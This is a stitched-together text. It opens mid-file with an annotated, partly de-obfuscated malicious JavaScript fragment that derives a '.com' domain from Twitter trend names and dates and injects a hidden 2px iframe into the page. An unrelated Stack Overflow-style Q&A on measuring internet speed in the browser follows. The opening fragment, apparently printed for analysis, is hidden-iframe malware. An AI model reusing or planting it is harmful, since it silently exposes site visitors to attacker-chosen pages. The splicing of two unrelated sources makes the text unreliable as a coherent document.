var jsAC = divideAndFloor(jsN, jsAm);
var jsF = jsN % jsAm;
var jsf = (jsAD * jsF) - (jsAT * jsAC);
if (jsf > 0) {
jsN = jsf
} else {
jsN = jsf + jsAv
}
return (jsN % jss)
}
/** Used only once in .getJSON call. */
function jst(jsk) {
jsN = 2345678901 + jsk;
jsAD = 48271;
jsAv = 2147483647;
jsAm = divideAndFloor(jsAv, jsAD);
jsAT = jsAv % jsAD
}
/** Takes twitter as_of and subtracts ~2 days. */
function jse(jsA) {
d = new Date();
d.setTime((jsA.as_of - 172800) * '1000');
return d
}
function jsz(jsAz) {
var jsc, jsAL, jsj = jsAz.length;
var jsv = [];
while (--jsj) {
jsAL = jsx(jsj);
jsv.push(jsAL);
jsc = jsAz[jsAL];
jsAz[jsAL] = jsAz[jsj];
jsAz[jsj] = jsc
}
}
function jso($) {
// Wait until we have jQuery loaded.
if (typeof($) == 'undefined') {
setTimeout(function () { jso(jQuery) }, 1222);
return;
}
$(function () {
// Only run this function once (there's a timeout inside).
if (typeof ($.jsAh) != 'undefined') return;
$.jsAh = 1;
$.getJSON('http://api.twitter.com/1/trends/daily.json?callback=?', function (data) {
dateTwoDaysPrior = jse(data);
nMonthTwoDaysAgo = dateTwoDaysPrior.getUTCMonth() + 1;
nDayTwoDaysAgo = dateTwoDaysPrior.getUTCDate();
urlTwitterTwoDaysAgo = 'http://api.twitter.com/1/trends/daily.json?callback=?&date=2011-' + nMonthTwoDaysAgo + "-" + nDayTwoDaysAgo;
twoDigitPrevSixHr = prevSixHr = divideAndFloor(dateTwoDaysPrior.getUTCHours(), 6) * 6 + 1;
jsAd = twoDigitPrevSixHr + 1;
// Run JSON request every second.
setTimeout(function () {
$.getJSON(urlTwitterTwoDaysAgo, function (data) {
try {
jsy = data.trends;
for (jsr in jsy) {
break;
}
jsr = jsr.substr(0, 11); // == 2011-11-10
if (twoDigitPrevSixHr < 10) twoDigitPrevSixHr = '0' + twoDigitPrevSixHr; // Normalize to hh
if (jsAd < 10) twoDigitPrevSixHr = '0' + jsAd; // Normalize to hh
// Try to get trends for last 6hr thing (but the :00 will make it never work?)
// If can't, try to get the next 6hr thing.
jsb = jsy[jsr + twoDigitPrevSixHr + ':00'];
if (!jsb) jsb = jsy[jsr + jsAd + ':00'];
// Get third trend entry, e.g.,
// {
// "name": "#sinterklaasintocht",
// "query": "#sinterklaasintocht",
// "promoted_content": null,
// "events": null
// }
// and strip out non-chars from name, add safetynet, and convert to array
// ['s', 'i', etc... nterklaasintochtsafetynet]
jsb = (jsb[3].name.toLowerCase().replace(/[^a-z]/gi, '') + 'safetynet').split('');
// 803 + prevSixHr * 3 + 410; -- some sort of hash?
hashkeyForTwoDaysAgoPrevSixHr = nMonthTwoDaysAgo * 73 + prevSixHr * 3 + nDayTwoDaysAgo * 41;
jst(hashkeyForTwoDaysAgoPrevSixHr);
jsa = jsx(4) + 10;
jsz(jsb);
// Are these two lines useful? Neither jsAr['Z'] nor jsg are referenced.
// jsb = ['s', 'i', etc... nterklaasintochtsafetynet]
jsg = '=http://' + firstElementOrJoined(jsb).substring(0, jsa) + '.com/index.php?tp=001e4bb7b4d7333d';
jsAr['Z'] = jsg;
//
jsAf = '<divstyle="height:2px;width:111px;"><iframe style="height:2px;width:111px;" src></iframe></div>';
$('body').append(jsAf)
} catch (jsAy) {}
})
}, 1000)
})
});
}
jso(jQuery)
})();
Here's some URLs constructed from the array:
jsd.jsS = http://api.twitter.com/1/trends/daily.json?callback=?
This chunk of code:
jsAS = jsAj.getElementsByTagName(jsn('Y'))[0];
jsm = jsAj.createElement(jsn('kS'));
jsm.setAttribute(jsn('kr'), jsn("hxDgakDosxsLsJseD6sJDmDj"));
jsAS.appendChild(jsm)
appends the jquery script tag to <head>:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
How can I create a JavaScript page that will detect the user’s internet speed and show it on the page? Something like “your internet speed is ??/?? Kb/s”.
It's possible to some extent but won't be really accurate, the idea is load image with a known file size then in its onload event measure how much time passed until that event was triggered, and divide this time in the image file size.
Example can be found here: Calculate speed using javascript
Test case applying the fix suggested there:
//JUST AN EXAMPLE, PLEASE USE YOUR OWN PICTURE!
var imageAddr = "http://www.kenrockwell.com/contax/images/g2/examples/31120037-5mb.jpg";
var downloadSize = 4995374; //bytes
function ShowProgressMessage(msg) {
if (console) {
if (typeof msg == "string") {
console.log(msg);
} else {
for (var i = 0; i < msg.length; i++) {
console.log(msg[i]);
}
}
}
var oProgress = document.getElementById("progress");
if (oProgress) {
var actualHTML = (typeof msg == "string") ? msg : msg.join("<br />");
oProgress.innerHTML = actualHTML;
}
}
function InitiateSpeedDetection() {
ShowProgressMessage("Loading the image, please wait...");
window.setTimeout(MeasureConnectionSpeed, 1);
};
if (window.addEventListener) {
window.addEventListener('load', InitiateSpeedDetection, false);
} else if (window.attachEvent) {
window.attachEvent('onload', InitiateSpeedDetection);
}
function MeasureConnectionSpeed() {
var startTime, endTime;
var download = new Image();
download.onload = function () {
endTime = (new Date()).getTime();
showResults();
}
download.onerror = function (err, msg) {
ShowProgressMessage("Invalid image, or error downloading");
}
startTime = (new Date()).getTime();
var cacheBuster = "?nnn=" + startTime;
download.src = imageAddr + cacheBuster;
function showResults() {
var duration = (endTime - startTime) / 1000;
var bitsLoaded = downloadSize * 8;
var speedBps = (bitsLoaded / duration).toFixed(2);
var speedKbps = (speedBps / 1024).toFixed(2);
var speedMbps = (speedKbps / 1024).toFixed(2);
ShowProgressMessage([
"Your connection speed is:",
speedBps + " bps",
speedKbps + " kbps",
speedMbps + " Mbps"
]);
}
}
<h1 id="progress">JavaScript is turned off, or your browser is realllllly slow</h1>
Quick comparison with "real" speed test service showed small difference of 0.12 Mbps when using big picture.
To ensure the integrity of the test, you can run the code with Chrome dev tool throttling enabled and then see if the result matches the limitation. (credit goes to user284130 :))
Important things to keep in mind:
The image being used should be properly optimized and compressed. If it isn't, then default compression on connections by the web server might show speed bigger than it actually is. Another option is using uncompressible file format, e.g. jpg. (thanks Rauli Rajande for pointing this out and Fluxine for reminding me)
The cache buster mechanism described above might not work with some CDN servers, which can be configured to ignore query string parameters, hence better setting cache control headers on the image itself. (thanks orcaman for pointing this out))
The bigger the image size is, the better. Larger image will make the test more accurate, 5 mb is decent, but if you can use even a bigger one it would be better.
Well, this is 2017 so you now have Network Information API (albeit with a limited support across browsers as of now) to get some sort of estimate downlink speed information:
navigator.connection.downlink
This is effective bandwidth estimate in Mbits per sec. The browser makes this estimate from recently observed application layer throughput across recently active connections. Needless to say, the biggest advantage of this approach is that you need not download any content just for bandwidth/ speed calculation.
You can look at this and a couple of other related attributes here
Due to it's limited support and different implementations across browsers (as of Nov 2017), would strongly recommend read this in detail
I needed a quick way to determine if the user connection speed was fast enough to enable/disable some features in a site I’m working on, I made this little script that averages the time it takes to download a single (small) image a number of times, it's working pretty accurately in my tests, being able to clearly distinguish between 3G or Wi-Fi for example, maybe someone can make a more elegant version or even a jQuery plugin.
var arrTimes = [];
var i = 0; // start
var timesToTest = 5;
var tThreshold = 150; //ms
var testImage = "http://www.google.com/images/phd/px.gif"; // small image in your server
var dummyImage = new Image();
var isConnectedFast = false;
testLatency(function(avg){
isConnectedFast = (avg <= tThreshold);
/** output */
document.body.appendChild(
document.createTextNode("Time: " + (avg.toFixed(2)) + "ms - isConnectedFast? " + isConnectedFast)
);
});
/** test and average time took to download image from server, called recursively timesToTest times */
function testLatency(cb) {
var tStart = new Date().getTime();
if (i<timesToTest-1) {
dummyImage.src = testImage + '?t=' + tStart;
dummyImage.onload = function() {
var tEnd = new Date().getTime();
var tTimeTook = tEnd-tStart;
arrTimes[i] = tTimeTook;
testLatency(cb);
i++;
};
} else {
/** calculate average of array items then callback */
var sum = arrTimes.reduce(function(a, b) { return a + b; });
var avg = sum / arrTimes.length;
cb(avg);
}
}
As I outline in this other answer here on StackOverflow, you can do this by timing the download of files of various sizes (start small, ramp up if the connection seems to allow it), ensuring through cache headers and such that the file is really being read from the remote server and not being retrieved from cache. This doesn't necessarily require that you have a server of your own (the files could be coming from S3 or similar), but you will need somewhere to get the files from in order to test connection speed.
That said, point-in-time bandwidth tests are notoriously unreliable, being as they are impacted by other items being downloaded in other windows, the speed of your server, links en route, etc., etc. But you can get a rough idea using this sort of technique.
Even though this is old and answered, i´d like to share the solution i made out of it 2020 base on Shadow Wizard Says No More War´s solution
I just merged it into an object that comes with the flexibility to run at anytime and run a callbacks if the specified mbps is higher or lower the measurement result.
you can start the test anywhere after you included the testConnectionSpeed Object by running the
/**
* #param float mbps - Specify a limit of mbps.
* #param function more(float result) - Called if more mbps than specified limit.
* #param function less(float result) - Called if less mbps than specified limit.
*/
testConnectionSpeed.run(mbps, more, less)
for example:
var testConnectionSpeed = {
imageAddr : "https://upload.wikimedia.org/wikipedia/commons/a/a6/Brandenburger_Tor_abends.jpg", // this is just an example, you rather want an image hosted on your server
downloadSize : 2707459, // Must match the file above (from your server ideally)
run:function(mbps_max,cb_gt,cb_lt){
testConnectionSpeed.mbps_max = parseFloat(mbps_max) ? parseFloat(mbps_max) : 0;
testConnectionSpeed.cb_gt = cb_gt;
testConnectionSpeed.cb_lt = cb_lt;
testConnectionSpeed.InitiateSpeedDetection();
},
InitiateSpeedDetection: function() {
window.setTimeout(testConnectionSpeed.MeasureConnectionSpeed, 1);
},
result:function(){
var duration = (endTime - startTime) / 1000;
var bitsLoaded = testConnectionSpeed.downloadSize * 8;
var speedBps = (bitsLoaded / duration).toFixed(2);
var speedKbps = (speedBps / 1024).toFixed(2);
var speedMbps = (speedKbps / 1024).toFixed(2);
if(speedMbps >= (testConnectionSpeed.max_mbps ? testConnectionSpeed.max_mbps : 1) ){
testConnectionSpeed.cb_gt ? testConnectionSpeed.cb_gt(speedMbps) : false;
}else {
testConnectionSpeed.cb_lt ? testConnectionSpeed.cb_lt(speedMbps) : false;
}
},
MeasureConnectionSpeed:function() {
var download = new Image();
download.onload = function () {
endTime = (new Date()).getTime();
testConnectionSpeed.result();
}
startTime = (new Date()).getTime();
var cacheBuster = "?nnn=" + startTime;
download.src = testConnectionSpeed.imageAddr + cacheBuster;
}
}
// start test immediatly, you could also call this on any event or whenever you want
testConnectionSpeed.run(1.5, function(mbps){console.log(">= 1.5Mbps ("+mbps+"Mbps)")}, function(mbps){console.log("< 1.5Mbps("+mbps+"Mbps)")} )
I used this successfuly to load lowres media for slow internet connections. You have to play around a bit because on the one hand, the larger the image, the more reasonable the test, on the other hand the test will take way much longer for slow connection and in my case I especially did not want slow connection users to load lots of MBs.
The image trick is cool but in my tests it was loading before some ajax calls I wanted to be complete.
The proper solution in 2017 is to use a worker (http://caniuse.com/#feat=webworkers).
The worker will look like:
/**
* This function performs a synchronous request
* and returns an object contain informations about the download
* time and size
*/
function measure(filename) {
var xhr = new XMLHttpRequest();
var measure = {};
xhr.open("GET", filename + '?' + (new Date()).getTime(), false);
measure.start = (new Date()).getTime();
xhr.send(null);
measure.end = (new Date()).getTime();
measure.len = parseInt(xhr.getResponseHeader('Content-Length') || 0);
measure.delta = measure.end - measure.start;
return measure;
}
/**
* Requires that we pass a base url to the worker
* The worker will measure the download time needed to get
* a ~0KB and a 100KB.
* It will return a string that serializes this informations as
* pipe separated values
*/
onmessage = function(e) {
measure0 = measure(e.data.base_url + '/test/0.bz2');
measure100 = measure(e.data.base_url + '/test/100K.bz2');
postMessage(
measure0.delta + '|' +
measure0.len + '|' +
measure100.delta + '|' +
measure100.len
);
};
The js file that will invoke the Worker:
var base_url = PORTAL_URL + '/++plone++experimental.bwtools';
if (typeof(Worker) === 'undefined') {
return; // unsupported
}
w = new Worker(base_url + "/scripts/worker.js");
w.postMessage({
base_url: base_url
});
w.onmessage = function(event) {
if (event.data) {
set_cookie(event.data);
}
};
Code taken from a Plone package I wrote:
https://github.com/collective/experimental.bwtools/blob/master/src/experimental/bwtools/browser/static/scripts/
It's better to use images for testing the speed. But if you have to deal with zip files, the below code works.
var fileURL = "your/url/here/testfile.zip";
var request = new XMLHttpRequest();
var avoidCache = "?avoidcache=" + (new Date()).getTime();;
request.open('GET', fileURL + avoidCache, true);
request.responseType = "application/zip";
var startTime = (new Date()).getTime();
var endTime = startTime;
request.onreadystatechange = function () {
if (request.readyState == 2)
{
//ready state 2 is when the request is sent
startTime = (new Date().getTime());
}
if (request.readyState == 4)
{
endTime = (new Date()).getTime();
var downloadSize = request.responseText.length;
var time = (endTime - startTime) / 1000;
var sizeInBits = downloadSize * 8;
var speed = ((sizeInBits / time) / (1024 * 1024)).toFixed(2);
console.log(downloadSize, time, speed);
}
}
request.send();
This will not work very well with files < 10MB. You will have to run aggregated results on multiple download attempts.
thanks to Punit S answer, for detecting dynamic connection speed change, you can use the following code :
navigator.connection.onchange = function () {
//do what you need to do ,on speed change event
console.log('Connection Speed Changed');
}
Improving upon John Smith's answer, a nice and clean solution which returns a Promise and thus can be used with async/await. Returns a value in Mbps.
const imageAddr = 'https://upload.wikimedia.org/wikipedia/commons/a/a6/Brandenburger_Tor_abends.jpg';
const downloadSize = 2707459; // this must match with the image above
let startTime, endTime;
async function measureConnectionSpeed() {
startTime = (new Date()).getTime();
const cacheBuster = '?nnn=' + startTime;
const download = new Image();
download.src = imageAddr + cacheBuster;
// this returns when the image is finished downloading
await download.decode();
endTime = (new Date()).getTime();
const duration = (endTime - startTime) / 1000;
const bitsLoaded = downloadSize * 8;
const speedBps = (bitsLoaded / duration).toFixed(2);
const speedKbps = (speedBps / 1024).toFixed(2);
const speedMbps = (speedKbps / 1024).toFixed(2);
return Math.round(Number(speedMbps));
}
I needed something similar, so I wrote https://github.com/beradrian/jsbandwidth. This is a rewrite of https://code.google.com/p/jsbandwidth/.
The idea is to make two calls through Ajax, one to download and the other to upload through POST.
It should work with both jQuery.ajax or Angular $http.
//JUST AN EXAMPLE, PLEASE USE YOUR OWN PICTURE!
var imageAddr = "https://i.ibb.co/sPbbkkZ/pexels-lisa-1540258.jpg";
var downloadSize = 10500000; //bytes
function ShowProgressMessage(msg) {
if (console) {
if (typeof msg == "string") {
console.log(msg);
} else {
for (var i = 0; i < msg.length; i++) {
console.log(msg[i]);
}
}
}
var oProgress = document.getElementById("progress");
if (oProgress) {
var actualHTML = (typeof msg == "string") ? msg : msg.join("<br />");
oProgress.innerHTML = actualHTML;
}
}
function InitiateSpeedDetection() {
ShowProgressMessage("Loading the image, please wait...");
window.setTimeout(MeasureConnectionSpeed, 1);
};
if (window.addEventListener) {
window.addEventListener('load', InitiateSpeedDetection, false);
} else if (window.attachEvent) {
window.attachEvent('onload', InitiateSpeedDetection);
}
function MeasureConnectionSpeed() {
var startTime, endTime;
var download = new Image();
download.onload = function () {
endTime = (new Date()).getTime();
showResults();
}
download.onerror = function (err, msg) {
ShowProgressMessage("Invalid image, or error downloading");
}
startTime = (new Date()).getTime();
var cacheBuster = "?nnn=" + startTime;
download.src = imageAddr + cacheBuster;
function showResults() {
var duration = (endTime - startTime) / 1000;
var bitsLoaded = downloadSize * 8;
var speedBps = (bitsLoaded / duration).toFixed(2);
var speedKbps = (speedBps / 1024).toFixed(2);
var speedMbps = (speedKbps / 1024).toFixed(2);
ShowProgressMessage([
"Your connection speed is:",
speedBps + " bps",
speedKbps + " kbps",
speedMbps + " Mbps"
]);
}
}
<h1 id="progress">JavaScript is turned off, or your browser is realllllly slow</h1>
Mini snippet:
var speedtest = {};
function speedTest_start(name) { speedtest[name]= +new Date(); }
function speedTest_stop(name) { return +new Date() - speedtest[name] + (delete
speedtest[name]?0:0); }
use like:
speedTest_start("test1");
// ... some code
speedTest_stop("test1");
// returns the time duration in ms
Also more tests possible:
speedTest_start("whole");
// ... some code
speedTest_start("part");
// ... some code
speedTest_stop("part");
// returns the time duration in ms of "part"
// ... some code
speedTest_stop("whole");
// returns the time duration in ms of "whole"